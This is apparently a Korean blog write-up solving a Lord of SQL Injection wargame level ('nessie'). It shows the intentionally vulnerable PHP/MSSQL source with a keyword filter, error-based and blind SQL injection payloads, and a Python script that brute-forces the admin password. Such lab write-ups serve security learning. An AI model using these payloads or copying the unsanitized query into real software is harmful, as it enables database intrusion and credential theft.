LOS Lv.41 nessie
nessie
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
query : select id from prob_nessie where id='' and pw=''
<?php
include "./config.php";
login_chk();
$db = mssql_connect();
if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select id from prob_nessie where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
sqlsrv_query($db,$query);
if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));
$query = "select pw from prob_nessie where id='admin'";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['pw'] === $_GET['pw']) solve("nessie");
highlight_file(__FILE__);
?>
Solution
1
2
3
4
원래 하던 것처럼 하려했는데 계속 문법 오류가 남.
and, or 연산자 다음에 함수를 사용하면 문법 오류 발생 ㅡㅡ
계속 삽질 하다가.. 그냥 보고 지나쳤던 블로그를 다시 봤더니..
https://zulloper.tistory.com/6
1
2
3
4
5
6
7
"1. 버전 체크를 할 때"를 보면 어라라?
and 1=(select @@version) 이렇게 되어있음.
해봤더니? 에러 메시지에 버젼이 나옴!
따라서 ?id=admin' and 1=(select pw) --%20 하면 다음처럼 나옴.
1
Conversion failed when converting the varchar value 'uawe0f9ji34fjkl' to data type int.
따라서 비밀번호는 uawe0f9ji34fjkl
1
2
3
4
5
Blind sql injection으로 풀어보면 다음과 같음.
?id=admin' and 1=(iif(1=1,1,0)) --%20
에러를 확인하기 위해 서브쿼리를 이용함.
1
2
3
?id=admin' and 1=(iif(1=2,1,(select 1 union select 2)))
성공! 이걸로 이제 비밀번호를 알아내면 됨.
1
2
3
4
5
6
7
우선 비밀번호 길이
?id=admin' and 1=(iif(len(pw)>0,1,(select 1 union select 2))) --%20
계속 해보면 비밀번호 길이는 15인걸 알아낼 수 있음.
?id=admin' and 1=(iif(len(pw)=15,1,(select 1 union select 2))) --%20
1
2
3
이제 비밀번호 값을 알아낼꺼임.
?id=admin' and 1=(iif(ascii(substring(pw,1,1))>48,1,(select 1 union select 2))) --%20
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
url='https://los.rubiya.kr/chall/nessie_7c5b5d8119ce2951f2a4f2b3a1824dd2.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'PHPSESSID':'[redacted]'}
pw=''
for i in range(1,16) :
for j in range(48,123) :
payload={'id' : "admin' and 1=(iif(ascii(substring(pw,"+str(i)+",1))="+str(j)+",1,(select 1 union select 2))) -- "}
res=requests.get(url, headers=headers, params=payload, cookies=cookies)
if "Subquery returned more than 1 value." not in res.text :
pw+=chr(j)
print("pw : "+pw) # uawe0f9ji34fjkl
break
print("NESSIE Clear!")
This post is licensed under CC BY 4.0 by the author.